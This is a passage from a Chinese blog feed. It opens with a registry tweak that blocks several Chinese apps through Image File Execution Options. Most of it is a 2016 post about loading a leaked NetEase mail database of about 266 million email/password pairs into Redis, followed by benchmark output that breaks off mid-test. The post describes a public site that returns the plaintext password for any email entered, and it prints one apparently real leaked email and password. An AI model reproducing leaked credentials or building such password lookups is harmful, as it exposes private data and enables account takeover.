&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot;&lt;/span&gt;

&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\shuame_helper.exe]&lt;/span&gt; 
&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot;&lt;/span&gt;

&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\wpscloudlaunch.exe]&lt;/span&gt; 
&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot;&lt;/span&gt;

&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\AndroidServer.exe]&lt;/span&gt; 
&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot;&lt;/span&gt;

&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\Alipaybsm.exe]&lt;/span&gt; 
&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot;&lt;/span&gt;

&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\TaobaoProtect.exe]&lt;/span&gt; 
&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot;&lt;/span&gt;

&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\wpscenter.exe]&lt;/span&gt; 
&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot; &lt;/span&gt;
&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\wpscloudsvr.exe]&lt;/span&gt; 
&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;保存为文本文档，然后重名名&lt;code&gt;txt&lt;/code&gt;为&lt;code&gt;reg&lt;/code&gt;导入注册表即可&lt;/p&gt;</content><category term="Android"></category><category term="July"></category></entry><entry><title>[Report] Find My Password For NetEase Mail</title><link href="https://blog.chenjia.me/articles/160621-163330.html" rel="alternate"></link><published>2016-06-21T16:33:30+08:00</published><updated>2016-06-21T16:33:37+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-06-21:/articles/160621-163330.html</id><summary type="html">&lt;h1&gt;Find My Password For NetEase …&lt;/h1&gt;</summary><content type="html">&lt;h1&gt;Find My Password For NetEase Mail&lt;/h1&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;去年黑产界流传着一个威胁十分巨大的数据库，那就是网易邮箱的数据库。这个数据库包含了众多邮箱的明文密码和密保答案。导致了去年APPLE ID被盗事件，战网账号被盗等事件高发。特别是Apple ID 被盗导致苹果设备被锁定敲诈事件引起了众多人民的愤怒。
我们在今年4月拿到了已经被黑产多次洗过的数据库。虽然里面的大部分数据都已经被人利用了。为了让更多无知群众知道自己的网易邮箱是不安全的。我们发起了这个项目，方便大家查找自己邮箱是否在泄露列表中，而不是仅仅相信网易官方发布的撞库公告。&lt;/p&gt;
&lt;h2&gt;课程背景&lt;/h2&gt;
&lt;p&gt;本学期高级数据库系统介绍了一些数据库的底层的基本架构。并且介绍了众多前沿科技使用的论文。其中也介绍了非关系型数据。也就是现在比较流行的nosql。论文中使用了Redsi和Memcache两种进行对比。&lt;/p&gt;
&lt;h2&gt;项目说明&lt;/h2&gt;
&lt;p&gt;我们使用了Redis来作为我们的数据库，一共处理了2.6亿条不整齐数据，将他们以&lt;code&gt;&amp;lt;Emali_address,password&amp;gt;&lt;/code&gt;作为&lt;code&gt;&amp;lt;key,value&amp;gt;&lt;/code&gt;来存储，并且在前端界面通过&lt;code&gt;EMAIL_ADDRESS&lt;/code&gt;进行查询，返回对应&lt;code&gt;value&lt;/code&gt;的结果&lt;/p&gt;
&lt;h2&gt;项目地址&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://nav.chenjia.me/163/" title="Find My Password For NetEase Mail"&gt;Find My Password For NetEase Mail&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;数据说明&lt;/h2&gt;
&lt;p&gt;我们获取到数据是纯文本文件（txt），解压后一共约有72G的文本文件。在文本文件中，每行文本文件是一个邮箱及其相关信息，这些信息格式并不整齐，例如&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;mjgj8735@163.com----15969360262yaya&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通过整理我们一共用了9种正则表达式来识别数据，通过数据库去重操作获取了2.6亿条数据，并且筛选出了172万行无效数据和未知格式错误。&lt;/p&gt;
&lt;h2&gt;数据库选择&lt;/h2&gt;
&lt;p&gt;面对这么大规模的数据，使用传统的关系型数据库就需要很多的优化才能有比较好的性能，比如最经常使用的Mysql在千万级别数据后效率会急剧下降。虽然分表能解决问题，然而结合memchache后命中率等问题也会困恼我们。而在nosql中，redis和memchache的对比中，我们偏向于选择redis，因为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;他是在内存中进行查找的&lt;/li&gt;
&lt;li&gt;支持数据在硬盘中备份。提供持久化功能。 &lt;/li&gt;
&lt;li&gt;其支持的数据结构比较多，&lt;/li&gt;
&lt;li&gt;他在内存中只缓存了key而不是都缓存。&lt;/li&gt;
&lt;li&gt;会自适应内存&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在实际的使用中我们也发现在插入的过程中，执行瓶颈在Java读取硬盘文本文件的I/O上，说明Redis在数据量在千万级别以上的时候，其插入的时候去重依旧能达到每秒几万的水平，这是一个很高的状态。&lt;/p&gt;
&lt;h2&gt;数据统计&lt;/h2&gt;
&lt;p&gt;在我们完成所有文本数据处理到redis中后，我们对一些技术数据进行了统计：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于邮箱列表
    &amp;gt;不重复数据有 266,202,509 无效数据有5,811,079 ，全部的文本数据忘记统计了，不过根据加入的时候观察重复和多次处理后的结果。应该在5亿条左右（因为这些流出数据库是很多渠道，所以会有比较高的重复率）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于Redis
    &amp;gt;初始化Redis，查看其info：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Memory&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory:&lt;/span&gt;&lt;span class="mi"&gt;28783857752&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_human:&lt;/span&gt;&lt;span class="mf"&gt;26.81&lt;/span&gt;&lt;span class="nv"&gt;G&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_rss:&lt;/span&gt;&lt;span class="mi"&gt;29373415424&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_peak:&lt;/span&gt;&lt;span class="mi"&gt;28783856696&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_peak_human:&lt;/span&gt;&lt;span class="mf"&gt;26.81&lt;/span&gt;&lt;span class="nv"&gt;G&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_lua:&lt;/span&gt;&lt;span class="mi"&gt;33792&lt;/span&gt;
&lt;span class="s s-Atom"&gt;mem_fragmentation_ratio:&lt;/span&gt;&lt;span class="mf"&gt;1.02&lt;/span&gt;
&lt;span class="s s-Atom"&gt;mem_allocator:jemalloc&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.4.1&lt;/span&gt;

&lt;span class="c1"&gt;# Persistence&lt;/span&gt;
&lt;span class="nn"&gt;loading&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_changes_since_last_save:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_bgsave_in_progress:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_last_save_time:&lt;/span&gt;&lt;span class="mi"&gt;1466519188&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_last_bgsave_status:ok&lt;/span&gt;
&lt;span class="nf"&gt;rdb_last_bgsave_time_sec&lt;/span&gt;&lt;span class="o"&gt;:-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="nf"&gt;rdb_current_bgsave_time_sec&lt;/span&gt;&lt;span class="o"&gt;:-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="s s-Atom"&gt;aof_enabled:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;aof_rewrite_in_progress:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;aof_rewrite_scheduled:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nf"&gt;aof_last_rewrite_time_sec&lt;/span&gt;&lt;span class="o"&gt;:-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="nf"&gt;aof_current_rewrite_time_sec&lt;/span&gt;&lt;span class="o"&gt;:-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="s s-Atom"&gt;aof_last_bgrewrite_status:ok&lt;/span&gt;

&lt;span class="c1"&gt;# Stats&lt;/span&gt;
&lt;span class="s s-Atom"&gt;total_connections_received:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="s s-Atom"&gt;total_commands_processed:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;
&lt;span class="s s-Atom"&gt;instantaneous_ops_per_sec:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rejected_connections:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;sync_full:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;sync_partial_ok:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;sync_partial_err:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;expired_keys:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;evicted_keys:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;keyspace_hits:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;keyspace_misses:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;pubsub_channels:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;pubsub_patterns:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;latest_fork_usec:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="c1"&gt;# Replication&lt;/span&gt;
&lt;span class="nn"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s s-Atom"&gt;master&lt;/span&gt;
&lt;span class="s s-Atom"&gt;connected_slaves:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;master_repl_offset:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;repl_backlog_active:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;repl_backlog_size:&lt;/span&gt;&lt;span class="mi"&gt;1048576&lt;/span&gt;
&lt;span class="s s-Atom"&gt;repl_backlog_first_byte_offset:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;repl_backlog_histlen:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="c1"&gt;# CPU&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_cpu_sys:&lt;/span&gt;&lt;span class="mf"&gt;7.54&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_cpu_user:&lt;/span&gt;&lt;span class="mf"&gt;248.08&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_cpu_sys_children:&lt;/span&gt;&lt;span class="mf"&gt;0.00&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_cpu_user_children:&lt;/span&gt;&lt;span class="mf"&gt;0.00&lt;/span&gt;

&lt;span class="c1"&gt;# Keyspace&lt;/span&gt;
&lt;span class="s s-Atom"&gt;db0:keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;266202509&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s s-Atom"&gt;expires&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s s-Atom"&gt;avg_ttl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;对于进行基准测试后的Redis数据库，查看其info：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Memory&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory:&lt;/span&gt;&lt;span class="mi"&gt;421019072&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_human:&lt;/span&gt;&lt;span class="mf"&gt;401.52&lt;/span&gt;&lt;span class="nv"&gt;M&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_rss:&lt;/span&gt;&lt;span class="mi"&gt;439119872&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_peak:&lt;/span&gt;&lt;span class="mi"&gt;28783877568&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_peak_human:&lt;/span&gt;&lt;span class="mf"&gt;26.81&lt;/span&gt;&lt;span class="nv"&gt;G&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_memory_lua:&lt;/span&gt;&lt;span class="mi"&gt;33792&lt;/span&gt;
&lt;span class="s s-Atom"&gt;mem_fragmentation_ratio:&lt;/span&gt;&lt;span class="mf"&gt;1.04&lt;/span&gt;
&lt;span class="s s-Atom"&gt;mem_allocator:jemalloc&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.4.1&lt;/span&gt;

&lt;span class="c1"&gt;# Persistence&lt;/span&gt;
&lt;span class="nn"&gt;loading&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_changes_since_last_save:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_bgsave_in_progress:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_last_save_time:&lt;/span&gt;&lt;span class="mi"&gt;1466516964&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_last_bgsave_status:ok&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rdb_last_bgsave_time_sec:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="nf"&gt;rdb_current_bgsave_time_sec&lt;/span&gt;&lt;span class="o"&gt;:-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="s s-Atom"&gt;aof_enabled:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;aof_rewrite_in_progress:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;aof_rewrite_scheduled:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nf"&gt;aof_last_rewrite_time_sec&lt;/span&gt;&lt;span class="o"&gt;:-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="nf"&gt;aof_current_rewrite_time_sec&lt;/span&gt;&lt;span class="o"&gt;:-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="s s-Atom"&gt;aof_last_bgrewrite_status:ok&lt;/span&gt;

&lt;span class="c1"&gt;# Stats&lt;/span&gt;
&lt;span class="s s-Atom"&gt;total_connections_received:&lt;/span&gt;&lt;span class="mi"&gt;3406&lt;/span&gt;
&lt;span class="s s-Atom"&gt;total_commands_processed:&lt;/span&gt;&lt;span class="mi"&gt;62720788&lt;/span&gt;
&lt;span class="s s-Atom"&gt;instantaneous_ops_per_sec:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;rejected_connections:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;sync_full:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;sync_partial_ok:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;sync_partial_err:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;expired_keys:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;evicted_keys:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;keyspace_hits:&lt;/span&gt;&lt;span class="mi"&gt;18447376&lt;/span&gt;
&lt;span class="s s-Atom"&gt;keyspace_misses:&lt;/span&gt;&lt;span class="mi"&gt;244016&lt;/span&gt;
&lt;span class="s s-Atom"&gt;pubsub_channels:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;pubsub_patterns:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;latest_fork_usec:&lt;/span&gt;&lt;span class="mi"&gt;38959&lt;/span&gt;

&lt;span class="c1"&gt;# Replication&lt;/span&gt;
&lt;span class="nn"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s s-Atom"&gt;master&lt;/span&gt;
&lt;span class="s s-Atom"&gt;connected_slaves:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;master_repl_offset:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;repl_backlog_active:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;repl_backlog_size:&lt;/span&gt;&lt;span class="mi"&gt;1048576&lt;/span&gt;
&lt;span class="s s-Atom"&gt;repl_backlog_first_byte_offset:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="s s-Atom"&gt;repl_backlog_histlen:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="c1"&gt;# CPU&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_cpu_sys:&lt;/span&gt;&lt;span class="mf"&gt;199.15&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_cpu_user:&lt;/span&gt;&lt;span class="mf"&gt;1058.54&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_cpu_sys_children:&lt;/span&gt;&lt;span class="mf"&gt;10.44&lt;/span&gt;
&lt;span class="s s-Atom"&gt;used_cpu_user_children:&lt;/span&gt;&lt;span class="mf"&gt;153.48&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;服务器配置&lt;/h2&gt;
&lt;p&gt;我们使用DELL T630塔式服务器作为测试，其基本的配置如下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CPU  2 x Intel® Xeon(R) CPU E5-2650 v3 @ 2.30GHz × 16&lt;/li&gt;
&lt;li&gt;Memory 128Gb&lt;/li&gt;
&lt;li&gt;Network 千兆以太网卡&lt;/li&gt;
&lt;li&gt;HDD 2T HDD&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Redis测试&lt;/h2&gt;
&lt;p&gt;我们首先对写入数据后的Redis数据库进行了一些基本测试。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对于Redis服务器 10万条基准测试&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;PING_INLINE&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;180831.83&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;PING_BULK&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;203252.03&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;SET&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;168067.22&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192307.70&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;INCR&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;177619.89&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;LPUSH&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;195694.72&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;LPOP&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192307.70&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;SADD&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;147492.62&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;SPOP&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;131926.12&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;LPUSH&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;needed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;benchmark&lt;/span&gt; &lt;span class="n"&gt;LRANGE&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;129198.97&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;LRANGE_100&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;70821.53&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;LRANGE_300&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;26788.11&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;LRANGE_500&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;18261.51&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;LRANGE_600&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt; &lt;span class="mi"&gt;600&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;13213.53&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;span class="n"&gt;MSET&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;96993.21&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;读写操作，使用命令&lt;code&gt;redis-benchmark -t set,get -r 100000 -n 1000000 -P (1-32)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.1 读写测试（1线程）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;====== SET ======
  1000000 requests completed in 6.95 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

